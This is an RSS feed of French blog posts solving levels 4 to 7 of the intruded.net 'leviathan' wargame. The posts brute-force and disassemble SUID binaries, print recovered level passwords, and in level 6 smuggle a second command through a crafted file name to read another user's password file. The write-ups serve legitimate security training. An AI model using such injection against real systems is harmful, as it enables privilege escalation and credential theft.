<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Nyx0uf&#039;s blog &#187; Sécurité</title>
	<atom:link href="http://whine.fr/tag/securite/feed/" rel="self" type="application/rss+xml" />
	<link>http://whine.fr</link>
	<description></description>
	<lastBuildDate>Wed, 28 Jul 2010 09:40:03 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>intruded.net : leviathan – level #7</title>
		<link>http://whine.fr/2009/intruded-net-leviathan-%e2%80%93-level-7/</link>
		<comments>http://whine.fr/2009/intruded-net-leviathan-%e2%80%93-level-7/#comments</comments>
		<pubDate>Tue, 07 Jul 2009 17:57:11 +0000</pubDate>
		<dc:creator>Nyx0uf</dc:creator>
				<category><![CDATA[Challenge]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[intruded]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[Sécurité]]></category>

		<guid isPermaLink="false">http://whine.fr/?p=103</guid>
		<description><![CDATA[level7, avant dernier niveau&#8230; Il est moins dur que le précédent, il est même possible de le résoudre de 2 façons différentes, une barbare et une jolie. Une fois connecté on fonce dans /wargame, là le binaire sphinx est notre cible. Après exécution de celui-ci, on voit qu&#8217;il nous demande un nombre à 4 chiffres. [...]]]></description>
			<content:encoded><![CDATA[<p>level7, avant dernier niveau&#8230;<br />
Il est moins dur que le précédent, il est même possible de le résoudre de 2 façons différentes, une barbare et une jolie.<br />
Une fois connecté on fonce dans /wargame, là le binaire <i>sphinx</i> est notre cible.<br />
Après exécution de celui-ci, on voit qu&#8217;il nous demande un nombre à 4 chiffres.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
</pre></td><td class="code"><pre class="bash" style="font-family:monospace;">level7<span style="color: #000000; font-weight: bold;">@</span>leviathan:<span style="color: #000000; font-weight: bold;">/</span>wargame$ .<span style="color: #000000; font-weight: bold;">/</span>sphinx
usage: .<span style="color: #000000; font-weight: bold;">/</span>sphinx <span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000;">4</span> digit code<span style="color: #7a0874; font-weight: bold;">&#93;</span></pre></td></tr></table></div>

<p>Je vais montrer les 2 méthodes mais pas trop m&#8217;attarder sur la barbare vu que c&#8217;est un bête brute-forcing.<br />
<span id="more-103"></span><br />
<u>Méthode 1 : bruteforçons</u><br />
Y a qu&#8217;à coder un truc bourrin qui boucle de 1000 à 9999 en testant chaque nombre. Vous pouvez coder en C, perl, script bash.. osef !<br />
Exemple :</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="bash" style="font-family:monospace;">level7<span style="color: #000000; font-weight: bold;">@</span>leviathan:<span style="color: #000000; font-weight: bold;">/</span>wargame$ <span style="color: #000000; font-weight: bold;">for</span> x <span style="color: #000000; font-weight: bold;">in</span> $<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #c20cb9; font-weight: bold;">seq</span> <span style="color: #000000;">1000</span> <span style="color: #000000;">9999</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>; <span style="color: #000000; font-weight: bold;">do</span> <span style="color: #000000; font-weight: bold;">/</span>wargame<span style="color: #000000; font-weight: bold;">/</span>sphinx <span style="color: #007800;">$x</span>; <span style="color: #000000; font-weight: bold;">done</span>;</pre></td></tr></table></div>

<p>Voilà, quand le nombre va être trouvé vous allez avoir un shell SUID level8, y en a pour moins d&#8217;une minute.</p>
<p><u>Méthode 2 : Désassemblons</u></p>
<p>Bon bha pas de secret, on prend <i>objdump</i> pour désassembler le binaire :</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
</pre></td><td class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #0000ff;">0x080484b9</span> &lt;main<span style="color: #339933;">+</span><span style="color: #0000ff;">85</span>&gt;<span style="color: #339933;">:</span>	<span style="color: #00007f; font-weight: bold;">call</span>   <span style="color: #0000ff;">0x8048394</span> &lt;atoi@plt&gt;
<span style="color: #0000ff;">0x080484be</span> &lt;main<span style="color: #339933;">+</span><span style="color: #0000ff;">90</span>&gt;<span style="color: #339933;">:</span>	<span style="color: #00007f; font-weight: bold;">cmp</span>    <span style="color: #0000ff;">0xfffffff8</span><span style="color: #009900; font-weight: bold;">&#40;</span><span style="color: #339933;">%</span><span style="color: #00007f;">ebp</span><span style="color: #009900; font-weight: bold;">&#41;</span><span style="color: #339933;">,%</span><span style="color: #00007f;">eax</span>
<span style="color: #0000ff;">0x080484c1</span> &lt;main<span style="color: #339933;">+</span><span style="color: #0000ff;">93</span>&gt;<span style="color: #339933;">:</span>	<span style="color: #00007f; font-weight: bold;">jne</span>    <span style="color: #0000ff;">0x80484dd</span> &lt;main<span style="color: #339933;">+</span><span style="color: #0000ff;">121</span>&gt;
<span style="color: #0000ff;">0x080484c3</span> &lt;main<span style="color: #339933;">+</span><span style="color: #0000ff;">95</span>&gt;<span style="color: #339933;">:</span>	movl   $<span style="color: #0000ff;">0x3ef</span><span style="color: #339933;">,</span><span style="color: #009900; font-weight: bold;">&#40;</span><span style="color: #339933;">%</span><span style="color: #00007f;">esp</span><span style="color: #009900; font-weight: bold;">&#41;</span>
<span style="color: #0000ff;">0x080484ca</span> &lt;main<span style="color: #339933;">+</span><span style="color: #0000ff;">102</span>&gt;<span style="color: #339933;">:</span>	<span style="color: #00007f; font-weight: bold;">call</span>   <span style="color: #0000ff;">0x8048334</span> &lt;seteuid@plt&gt;
<span style="color: #0000ff;">0x080484cf</span> &lt;main<span style="color: #339933;">+</span><span style="color: #0000ff;">107</span>&gt;<span style="color: #339933;">:</span>	movl   $<span style="color: #0000ff;">0x8048622</span><span style="color: #339933;">,</span><span style="color: #009900; font-weight: bold;">&#40;</span><span style="color: #339933;">%</span><span style="color: #00007f;">esp</span><span style="color: #009900; font-weight: bold;">&#41;</span>
<span style="color: #0000ff;">0x080484d6</span> &lt;main<span style="color: #339933;">+</span><span style="color: #0000ff;">114</span>&gt;<span style="color: #339933;">:</span>	<span style="color: #00007f; font-weight: bold;">call</span>   <span style="color: #0000ff;">0x8048344</span> &lt;system@plt&gt;</pre></td></tr></table></div>

<p>La comparaison se fait entre <i>eax</i> et 0xfffffff8(%ebp), on prend donc <i>gdb</i> pour mettre un breakpoint sur le <b>cmp</b> (0x080484be) :</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
</pre></td><td class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #c20cb9; font-weight: bold;">gdb</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> b <span style="color: #000000; font-weight: bold;">*</span> 0x080484be
Breakpoint <span style="color: #000000;">1</span> at 0x80484be
<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #c20cb9; font-weight: bold;">gdb</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> r <span style="color: #000000;">9999</span>
Starting program: <span style="color: #000000; font-weight: bold;">/</span>wargame<span style="color: #000000; font-weight: bold;">/</span>sphinx <span style="color: #000000;">9999</span>
&nbsp;
Breakpoint <span style="color: #000000;">1</span>, 0x080484be <span style="color: #000000; font-weight: bold;">in</span> main <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>
<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #c20cb9; font-weight: bold;">gdb</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> p <span style="color: #007800;">$eax</span>
$<span style="color: #000000;">1</span> = <span style="color: #000000;">9999</span>
<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #c20cb9; font-weight: bold;">gdb</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> x<span style="color: #000000; font-weight: bold;">/</span>d <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #007800;">$ebp</span> - <span style="color: #000000;">8</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>
0xbffffa30:	<span style="color: #000000;">7123</span></pre></td></tr></table></div>

<p>On relance le binaire avec le bon nombre et on a un shell SUID level8, reste plus qu&#8217;à aller chercher le password <img src='http://whine.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Bon ceci était en fait le dernier level, vu que le 8 contient juste un mot de félicitations.<br />
Je verrais si je continue sur le challenge 2 nommé narnia, qui est orienté exploitation de base, surtout des stacks overflow, pour le moment j&#8217;ai juste fait le level1, donc à suivre..</p>
]]></content:encoded>
			<wfw:commentRss>http://whine.fr/2009/intruded-net-leviathan-%e2%80%93-level-7/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>intruded.net : leviathan – level #6</title>
		<link>http://whine.fr/2009/intruded-net-leviathan-%e2%80%93-level-6/</link>
		<comments>http://whine.fr/2009/intruded-net-leviathan-%e2%80%93-level-6/#comments</comments>
		<pubDate>Mon, 06 Jul 2009 17:29:37 +0000</pubDate>
		<dc:creator>Nyx0uf</dc:creator>
				<category><![CDATA[Challenge]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[intruded]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[race condition]]></category>
		<category><![CDATA[Sécurité]]></category>

		<guid isPermaLink="false">http://whine.fr/?p=97</guid>
		<description><![CDATA[Bon level6, c&#8217;est le level qui m&#8217;a le plus bloqué sur leviathan. La technique utilisée pour faire le niveau s&#8217;appelle race condition. Rien dans le home level6, on file donc dans /wargame. Là le binaire printfile est SUID level7, c&#8217;est donc celui qui nous intéresse. On essaye donc de l&#8217;exécuter, il lui faut un fichier [...]]]></description>
			<content:encoded><![CDATA[<p>Bon level6, c&#8217;est le level qui m&#8217;a le plus bloqué sur leviathan.<br />
La technique utilisée pour faire le niveau s&#8217;appelle <a href="http://fr.wikipedia.org/wiki/Situation_de_compétition">race condition</a>.</p>
<p>Rien dans le home level6, on file donc dans /wargame. Là le binaire printfile est SUID level7, c&#8217;est donc celui qui nous intéresse.<br />
<span id="more-97"></span><br />
On essaye donc de l&#8217;exécuter, il lui faut un fichier en argument, on re-test avec /home/level7/.passwd vu que c&#8217;est le fichier qui nous intéresse :</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
</pre></td><td class="code"><pre class="bash" style="font-family:monospace;">level6<span style="color: #000000; font-weight: bold;">@</span>leviathan:<span style="color: #000000; font-weight: bold;">/</span>wargame$ .<span style="color: #000000; font-weight: bold;">/</span>printfile <span style="color: #000000; font-weight: bold;">/</span>home<span style="color: #000000; font-weight: bold;">/</span>level7<span style="color: #000000; font-weight: bold;">/</span>.passwd
You cant have that file...</pre></td></tr></table></div>

<p>owned.</p>
<p>Un autre essai avec /home/level6/.passwd :</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
</pre></td><td class="code"><pre class="bash" style="font-family:monospace;">level6<span style="color: #000000; font-weight: bold;">@</span>leviathan:<span style="color: #000000; font-weight: bold;">/</span>wargame$ .<span style="color: #000000; font-weight: bold;">/</span>printfile <span style="color: #000000; font-weight: bold;">/</span>home<span style="color: #000000; font-weight: bold;">/</span>level6<span style="color: #000000; font-weight: bold;">/</span>.passwd
<span style="color: #000000; font-weight: bold;">/</span>bin<span style="color: #000000; font-weight: bold;">/</span><span style="color: #c20cb9; font-weight: bold;">cat</span>: <span style="color: #000000; font-weight: bold;">/</span>home<span style="color: #000000; font-weight: bold;">/</span>level6<span style="color: #000000; font-weight: bold;">/</span>.passwd: Permission denied</pre></td></tr></table></div>

<p>owned, mais pas de la même façon, intéressant.<br />
Analysons les 2 messages :</p>
<p>Le premier message d&#8217;erreur est renvoyé par le binaire lui même (printfile) alors que le second est renvoyé par <i>/bin/cat</i>, une fois qu&#8217;on a remarqué ça on peut déduire que le binaire suit ce schéma :<br />
- access<br />
- setuid<br />
- cat fichier</p>
<p>On confirme cette analyse avec <i>objdump</i> et <i>ltrace</i> :</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
</pre></td><td class="code"><pre class="bash" style="font-family:monospace;">level6<span style="color: #000000; font-weight: bold;">@</span>leviathan:<span style="color: #000000; font-weight: bold;">/</span>wargame$ <span style="color: #c20cb9; font-weight: bold;">ltrace</span> .<span style="color: #000000; font-weight: bold;">/</span>printfile <span style="color: #000000; font-weight: bold;">/</span>home<span style="color: #000000; font-weight: bold;">/</span>level6<span style="color: #000000; font-weight: bold;">/</span>.passwd
__libc_start_main<span style="color: #7a0874; font-weight: bold;">&#40;</span>0x8048424, <span style="color: #000000;">2</span>, 0xbffffab4, 0x8048570, 0x8048520 <span style="color: #000000; font-weight: bold;">&lt;</span>unfinished ...<span style="color: #000000; font-weight: bold;">&gt;</span>
access<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #ff0000;">&quot;/home/level6/.passwd&quot;</span>, <span style="color: #000000;">0</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>                                     = <span style="color: #000000;">0</span>
snprintf<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #ff0000;">&quot;/bin/cat /home/level6/.passwd&quot;</span>, <span style="color: #000000;">511</span>, <span style="color: #ff0000;">&quot;/bin/cat %s&quot;</span>, <span style="color: #ff0000;">&quot;/home/level6/.passwd&quot;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> = <span style="color: #000000;">29</span>
system<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #ff0000;">&quot;/bin/cat /home/level6/.passwd&quot;</span>6lyvLXCA
 <span style="color: #000000; font-weight: bold;">&lt;</span>unfinished ...<span style="color: #000000; font-weight: bold;">&gt;</span>
<span style="color: #660033;">---</span> SIGCHLD <span style="color: #7a0874; font-weight: bold;">&#40;</span>Child exited<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #660033;">---</span>
<span style="color: #000000; font-weight: bold;">&lt;</span>... system resumed<span style="color: #000000; font-weight: bold;">&gt;</span> <span style="color: #7a0874; font-weight: bold;">&#41;</span>                                                = <span style="color: #000000;">0</span>
+++ exited <span style="color: #7a0874; font-weight: bold;">&#40;</span>status <span style="color: #000000;">0</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> +++
level6<span style="color: #000000; font-weight: bold;">@</span>leviathan:<span style="color: #000000; font-weight: bold;">/</span>wargame$ <span style="color: #c20cb9; font-weight: bold;">ltrace</span> .<span style="color: #000000; font-weight: bold;">/</span>printfile <span style="color: #000000; font-weight: bold;">/</span>home<span style="color: #000000; font-weight: bold;">/</span>level7<span style="color: #000000; font-weight: bold;">/</span>.passwd
__libc_start_main<span style="color: #7a0874; font-weight: bold;">&#40;</span>0x8048424, <span style="color: #000000;">2</span>, 0xbffffab4, 0x8048570, 0x8048520 <span style="color: #000000; font-weight: bold;">&lt;</span>unfinished ...<span style="color: #000000; font-weight: bold;">&gt;</span>
access<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #ff0000;">&quot;/home/level7/.passwd&quot;</span>, <span style="color: #000000;">0</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>                                     = <span style="color: #660033;">-1</span>
puts<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #ff0000;">&quot;You cant have that file...&quot;</span>You cant have that file...
<span style="color: #7a0874; font-weight: bold;">&#41;</span>                                    = <span style="color: #000000;">27</span>
+++ exited <span style="color: #7a0874; font-weight: bold;">&#40;</span>status <span style="color: #000000;">1</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> +++</pre></td></tr></table></div>

<p>C&#8217;est ce que l&#8217;on appelle une <a href="http://fr.wikipedia.org/wiki/Situation_de_compétition">race condition</a>, on fait un accès sur un fichier valide et le cat sur le fichier qui nous intéresse.<br />
Ce fichier est passé par <b>argv[1]</b>, si vous ne savez pas ce qu&#8217;est <b>argv[1]</b> il est grand temps de se mettre au C.<br />
On peut donc simplement injecter une commande shell en argument, par exemple : <i>&laquo;&nbsp;fichier | commande&nbsp;&raquo;</i>, il faut juste préalablement créer un fichier du même nom dans /tmp (qui est le seul répertoire auquel on a accès avec des droits d&#8217;écriture.) car access vérifie l&#8217;existence du fichier <img src='http://whine.fr/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /><br />
L&#8217;argument que l&#8217;on va passer au programme sera donc : <i>&laquo;&nbsp;fichier | cat /home/level7/.passwd&nbsp;&raquo;</i> :</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
</pre></td><td class="code"><pre class="bash" style="font-family:monospace;">level6<span style="color: #000000; font-weight: bold;">@</span>leviathan:<span style="color: #000000; font-weight: bold;">/</span>wargame$ <span style="color: #c20cb9; font-weight: bold;">mkdir</span> <span style="color: #660033;">-p</span> <span style="color: #ff0000;">&quot;/tmp/|cat /home/level7&quot;</span>
level6<span style="color: #000000; font-weight: bold;">@</span>leviathan:<span style="color: #000000; font-weight: bold;">/</span>wargame$ <span style="color: #c20cb9; font-weight: bold;">touch</span> <span style="color: #ff0000;">&quot;/tmp/|cat /home/level7/.passwd&quot;</span></pre></td></tr></table></div>

<p>Voilà, on relance le binaire avec <i>&laquo;&nbsp;/tmp/|cat /home/level7/.passwd&nbsp;&raquo;</i> comme argument.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
</pre></td><td class="code"><pre class="bash" style="font-family:monospace;">level6<span style="color: #000000; font-weight: bold;">@</span>leviathan:<span style="color: #000000; font-weight: bold;">/</span>wargame$ .<span style="color: #000000; font-weight: bold;">/</span>printfile <span style="color: #ff0000;">&quot;/tmp/|cat /home/level7/.passwd&quot;</span>
<span style="color: #000000; font-weight: bold;">/</span>bin<span style="color: #000000; font-weight: bold;">/</span><span style="color: #c20cb9; font-weight: bold;">cat</span>: <span style="color: #000000; font-weight: bold;">/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>: Permission denied
X98ZdPfp</pre></td></tr></table></div>

]]></content:encoded>
			<wfw:commentRss>http://whine.fr/2009/intruded-net-leviathan-%e2%80%93-level-6/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>intruded.net : leviathan – level #5</title>
		<link>http://whine.fr/2009/intruded-net-leviathan-%e2%80%93-level-5/</link>
		<comments>http://whine.fr/2009/intruded-net-leviathan-%e2%80%93-level-5/#comments</comments>
		<pubDate>Sun, 05 Jul 2009 15:47:54 +0000</pubDate>
		<dc:creator>Nyx0uf</dc:creator>
				<category><![CDATA[Challenge]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[intruded]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[Sécurité]]></category>

		<guid isPermaLink="false">http://whine.fr/?p=94</guid>
		<description><![CDATA[Hop, on arrive au level5, mais cette fois dans le répertoire home il y a un répertoire caché nommé .Trash, on le liste et on voit un exécutable nommé bin. Après exécution on voit une suite de nombre binaire qui s&#8217;affiche, on ltrace pour voir ce qui se passe, et que voit-on, ohhh le binaire [...]]]></description>
			<content:encoded><![CDATA[<p>Hop, on arrive au level5, mais cette fois dans le répertoire home il y a un répertoire caché nommé .Trash, on le liste et on voit un exécutable nommé bin.<br />
Après exécution on voit une suite de nombre binaire qui s&#8217;affiche, on ltrace pour voir ce qui se passe, et que voit-on, ohhh le binaire lit le fichier /home/level6/.passwd <img src='http://whine.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
</pre></td><td class="code"><pre class="bash" style="font-family:monospace;">level5<span style="color: #000000; font-weight: bold;">@</span>leviathan:~<span style="color: #000000; font-weight: bold;">/</span>.Trash$ <span style="color: #c20cb9; font-weight: bold;">ltrace</span> .<span style="color: #000000; font-weight: bold;">/</span>bin
__libc_start_main<span style="color: #7a0874; font-weight: bold;">&#40;</span>0x80483e4, <span style="color: #000000;">1</span>, 0xbffffac4, 0x8048530, 0x80484e0 <span style="color: #000000; font-weight: bold;">&lt;</span>unfinished ...<span style="color: #000000; font-weight: bold;">&gt;</span>
fopen<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #ff0000;">&quot;/home/level6/.passwd&quot;</span>, <span style="color: #ff0000;">&quot;r&quot;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>               = <span style="color: #000000;">0</span>
+++ exited <span style="color: #7a0874; font-weight: bold;">&#40;</span>status <span style="color: #000000;">255</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> +++</pre></td></tr></table></div>

<p>On décode la suite de nombre binaire et on a le password, voilà&#8230;</p>
<p>next?lol</p>
]]></content:encoded>
			<wfw:commentRss>http://whine.fr/2009/intruded-net-leviathan-%e2%80%93-level-5/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>intruded.net : leviathan – level #4</title>
		<link>http://whine.fr/2009/intruded-net-leviathan-%e2%80%93-level-4/</link>
		<comments>http://whine.fr/2009/intruded-net-leviathan-%e2%80%93-level-4/#comments</comments>
		<pubDate>Sun, 05 Jul 2009 15:42:02 +0000</pubDate>
		<dc:creator>Nyx0uf</dc:creator>
				<category><![CDATA[Challenge]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[intruded]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[Sécurité]]></category>

		<guid isPermaLink="false">http://whine.fr/?p=91</guid>
		<description><![CDATA[Ouaih, on est au level4, c&#8217;est la moitié du challenge, super :> Bon en fait c&#8217;est exactement le même procédé que le level2&#8230; rien de plus, ce qui nous laisse au moins 3 méthodes pour le résoudre. Comme au level2 j&#8217;ai utilisé ltrace, je vais prendre gdb sur celui-ci. 1 2 3 4 5 6 [...]]]></description>
			<content:encoded><![CDATA[<p>Ouaih, on est au level4, c&#8217;est la moitié du challenge, super :><br />
Bon en fait c&#8217;est exactement le même procédé que le level2&#8230; rien de plus, ce qui nous laisse au moins 3 méthodes pour le résoudre.<br />
Comme au level2 j&#8217;ai utilisé <em>ltrace</em>, je vais prendre <em>gdb</em> sur celui-ci.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
</pre></td><td class="code"><pre class="asm" style="font-family:monospace;"> 80484cc<span style="color: #339933;">:</span>	e8 cb fe ff ff       	<span style="color: #00007f; font-weight: bold;">call</span>   804839c &lt;fgets@plt&gt;
<span style="color: #adadad; font-style: italic;">8048</span>4d1<span style="color: #339933;">:</span>	8d <span style="color: #0000ff;">45</span> f5             	<span style="color: #00007f; font-weight: bold;">lea</span>    <span style="color: #0000ff;">0xfffffff5</span><span style="color: #009900; font-weight: bold;">&#40;</span><span style="color: #339933;">%</span><span style="color: #00007f;">ebp</span><span style="color: #009900; font-weight: bold;">&#41;</span><span style="color: #339933;">,%</span><span style="color: #00007f;">eax</span>
<span style="color: #adadad; font-style: italic;">8048</span>4d4<span style="color: #339933;">:</span>	<span style="color: #0000ff;">89</span> <span style="color: #0000ff;">44</span> <span style="color: #0000ff;">24</span> <span style="color: #0000ff;">04</span>          	<span style="color: #00007f; font-weight: bold;">mov</span>    <span style="color: #339933;">%</span><span style="color: #00007f;">eax</span><span style="color: #339933;">,</span><span style="color: #0000ff;">0x4</span><span style="color: #009900; font-weight: bold;">&#40;</span><span style="color: #339933;">%</span><span style="color: #00007f;">esp</span><span style="color: #009900; font-weight: bold;">&#41;</span>
<span style="color: #adadad; font-style: italic;">8048</span>4d8<span style="color: #339933;">:</span>	8d <span style="color: #0000ff;">85</span> f5 fe ff ff    	<span style="color: #00007f; font-weight: bold;">lea</span>    <span style="color: #0000ff;">0xfffffef5</span><span style="color: #009900; font-weight: bold;">&#40;</span><span style="color: #339933;">%</span><span style="color: #00007f;">ebp</span><span style="color: #009900; font-weight: bold;">&#41;</span><span style="color: #339933;">,%</span><span style="color: #00007f;">eax</span>
<span style="color: #adadad; font-style: italic;">8048</span>4de<span style="color: #339933;">:</span>	<span style="color: #0000ff;">89</span> <span style="color: #0000ff;">04</span> <span style="color: #0000ff;">24</span>             	<span style="color: #00007f; font-weight: bold;">mov</span>    <span style="color: #339933;">%</span><span style="color: #00007f;">eax</span><span style="color: #339933;">,</span><span style="color: #009900; font-weight: bold;">&#40;</span><span style="color: #339933;">%</span><span style="color: #00007f;">esp</span><span style="color: #009900; font-weight: bold;">&#41;</span>
<span style="color: #adadad; font-style: italic;">8048</span><span style="color: #0000ff;">4e1</span><span style="color: #339933;">:</span>	e8 <span style="color: #0000ff;">76</span> fe ff ff       	<span style="color: #00007f; font-weight: bold;">call</span>   804835c &lt;strcmp@plt&gt;
<span style="color: #adadad; font-style: italic;">8048</span><span style="color: #0000ff;">4e6</span><span style="color: #339933;">:</span>	<span style="color: #0000ff;">85</span> c0                	<span style="color: #00007f; font-weight: bold;">test</span>   <span style="color: #339933;">%</span><span style="color: #00007f;">eax</span><span style="color: #339933;">,%</span><span style="color: #00007f;">eax</span>
<span style="color: #adadad; font-style: italic;">8048</span><span style="color: #0000ff;">4e8</span><span style="color: #339933;">:</span>	<span style="color: #0000ff;">75</span> <span style="color: #0000ff;">26</span>                	<span style="color: #00007f; font-weight: bold;">jne</span>    <span style="color: #0000ff;">8048510</span> &lt;do_stuff<span style="color: #339933;">+</span><span style="color: #0000ff;">0x8c</span>&gt;
<span style="color: #adadad; font-style: italic;">8048</span>4ea<span style="color: #339933;">:</span>	c7 <span style="color: #0000ff;">04</span> <span style="color: #0000ff;">24</span> <span style="color: #0000ff;">08</span> <span style="color: #0000ff;">87</span> <span style="color: #0000ff;">04</span> <span style="color: #0000ff;">08</span> 	movl   $<span style="color: #0000ff;">0x8048708</span><span style="color: #339933;">,</span><span style="color: #009900; font-weight: bold;">&#40;</span><span style="color: #339933;">%</span><span style="color: #00007f;">esp</span><span style="color: #009900; font-weight: bold;">&#41;</span>
<span style="color: #adadad; font-style: italic;">8048</span>4f1<span style="color: #339933;">:</span>	e8 <span style="color: #0000ff;">96</span> fe ff ff       	<span style="color: #00007f; font-weight: bold;">call</span>   804838c &lt;puts@plt&gt;
<span style="color: #adadad; font-style: italic;">8048</span>4f6<span style="color: #339933;">:</span>	c7 <span style="color: #0000ff;">04</span> <span style="color: #0000ff;">24</span> ec <span style="color: #0000ff;">03</span> <span style="color: #0000ff;">00</span> <span style="color: #0000ff;">00</span> 	movl   $<span style="color: #0000ff;">0x3ec</span><span style="color: #339933;">,</span><span style="color: #009900; font-weight: bold;">&#40;</span><span style="color: #339933;">%</span><span style="color: #00007f;">esp</span><span style="color: #009900; font-weight: bold;">&#41;</span>
<span style="color: #adadad; font-style: italic;">8048</span>4fd<span style="color: #339933;">:</span>	e8 6a fe ff ff       	<span style="color: #00007f; font-weight: bold;">call</span>   804836c &lt;seteuid@plt&gt;
<span style="color: #adadad; font-style: italic;">8048</span><span style="color: #0000ff;">502</span><span style="color: #339933;">:</span>	c7 <span style="color: #0000ff;">04</span> <span style="color: #0000ff;">24</span> 1c <span style="color: #0000ff;">87</span> <span style="color: #0000ff;">04</span> <span style="color: #0000ff;">08</span> 	movl   $<span style="color: #0000ff;">0x804871c</span><span style="color: #339933;">,</span><span style="color: #009900; font-weight: bold;">&#40;</span><span style="color: #339933;">%</span><span style="color: #00007f;">esp</span><span style="color: #009900; font-weight: bold;">&#41;</span>
<span style="color: #adadad; font-style: italic;">8048</span><span style="color: #0000ff;">509</span><span style="color: #339933;">:</span>	e8 6e fe ff ff       	<span style="color: #00007f; font-weight: bold;">call</span>   804837c &lt;system@plt&gt;
<span style="color: #adadad; font-style: italic;">8048</span>50e<span style="color: #339933;">:</span>	eb 0c                	<span style="color: #00007f; font-weight: bold;">jmp</span>    804851c &lt;do_stuff<span style="color: #339933;">+</span><span style="color: #0000ff;">0x98</span>&gt;
<span style="color: #adadad; font-style: italic;">8048</span><span style="color: #0000ff;">510</span><span style="color: #339933;">:</span>	c7 <span style="color: #0000ff;">04</span> <span style="color: #0000ff;">24</span> <span style="color: #0000ff;">24</span> <span style="color: #0000ff;">87</span> <span style="color: #0000ff;">04</span> <span style="color: #0000ff;">08</span> 	movl   $<span style="color: #0000ff;">0x8048724</span><span style="color: #339933;">,</span><span style="color: #009900; font-weight: bold;">&#40;</span><span style="color: #339933;">%</span><span style="color: #00007f;">esp</span><span style="color: #009900; font-weight: bold;">&#41;</span>
<span style="color: #adadad; font-style: italic;">8048</span><span style="color: #0000ff;">517</span><span style="color: #339933;">:</span>	e8 <span style="color: #0000ff;">70</span> fe ff ff       	<span style="color: #00007f; font-weight: bold;">call</span>   804838c &lt;puts@plt&gt;</pre></td></tr></table></div>


<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
</pre></td><td class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #c20cb9; font-weight: bold;">gdb</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> b <span style="color: #000000; font-weight: bold;">*</span> 0x080484e1
Breakpoint <span style="color: #000000;">1</span> at 0x80484e1
